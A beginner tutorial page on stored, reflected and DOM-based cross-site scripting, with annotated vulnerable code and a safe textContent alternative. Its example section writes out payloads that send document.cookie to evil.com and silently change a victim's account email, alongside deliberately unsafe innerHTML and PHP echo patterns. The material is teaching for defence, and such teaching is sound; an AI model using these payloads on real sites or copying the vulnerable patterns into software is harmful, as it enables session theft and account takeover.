SyntaxStudy
Sign Up
Web Security Stored, Reflected, and DOM-Based XSS
Web Security Beginner 1 min read

Stored, Reflected, and DOM-Based XSS

Cross-Site Scripting (XSS) is a vulnerability where an attacker injects malicious scripts into web pages viewed by other users. Unlike SQL injection, XSS targets the browser rather than the server, executing JavaScript in the victim's session to steal cookies, redirect to phishing pages, log keystrokes, or silently perform actions on behalf of the user. XSS is one of the most prevalent web vulnerabilities and is listed in the OWASP Top 10. Stored XSS (persistent) occurs when the malicious script is saved in the server's database — for example, in a comment or profile field — and rendered to every user who views that content. A single injection can affect thousands of users. Reflected XSS is transient: the payload is embedded in a URL parameter, the server echoes it back in the response, and the attack is triggered by tricking the victim into clicking a crafted link. Both require server-side output encoding. DOM-based XSS never touches the server; the entire attack flows through client-side JavaScript. The source is a browser-supplied value such as `location.hash`, `document.referrer`, or `window.name`; the sink is a JavaScript statement that writes to the DOM unsafely, such as `innerHTML = ...`, `document.write()`, or `eval()`. DOM XSS is invisible to server-side scanners and WAFs, requiring secure JavaScript coding practices and client-side static analysis.
Example
<!-- VULNERABLE examples — never do this -->

<!-- Reflected XSS: server echoes URL parameter unencoded -->
<!-- URL: https://example.com/search?q=<script>alert(1)</script> -->
<!-- PHP: echo "Results for: " . $_GET['q']; -->

<!-- Stored XSS: user-supplied comment rendered unencoded -->
<!-- DB stores: <script>fetch('https://evil.com?c='+document.cookie)</script> -->
<!-- Template: <p><?= $comment ?></p>  ← BAD -->

<!-- DOM XSS: client reads from location.hash and writes to innerHTML -->
<div id="greeting"></div>
<script>
  // BAD: location.hash is attacker-controlled
  // URL: https://example.com/page#<img src=x onerror=alert(1)>
  const name = decodeURIComponent(location.hash.slice(1));
  document.getElementById('greeting').innerHTML = 'Hello, ' + name;
  //                                    ^^^^^^^^^ SINK: dangerous

  // SAFE alternative: use textContent instead of innerHTML
  document.getElementById('greeting').textContent = 'Hello, ' + name;
</script>

<!-- Impact of a real XSS payload -->
<script>
// Steals session cookie and sends it to attacker's server
new Image().src = 'https://evil.com/steal?c=' + encodeURIComponent(document.cookie);

// Or silently changes the victim's email address via fetch
fetch('/api/account', {
  method: 'PATCH',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ email: 'attacker@evil.com' }),
  credentials: 'include'
});
</script>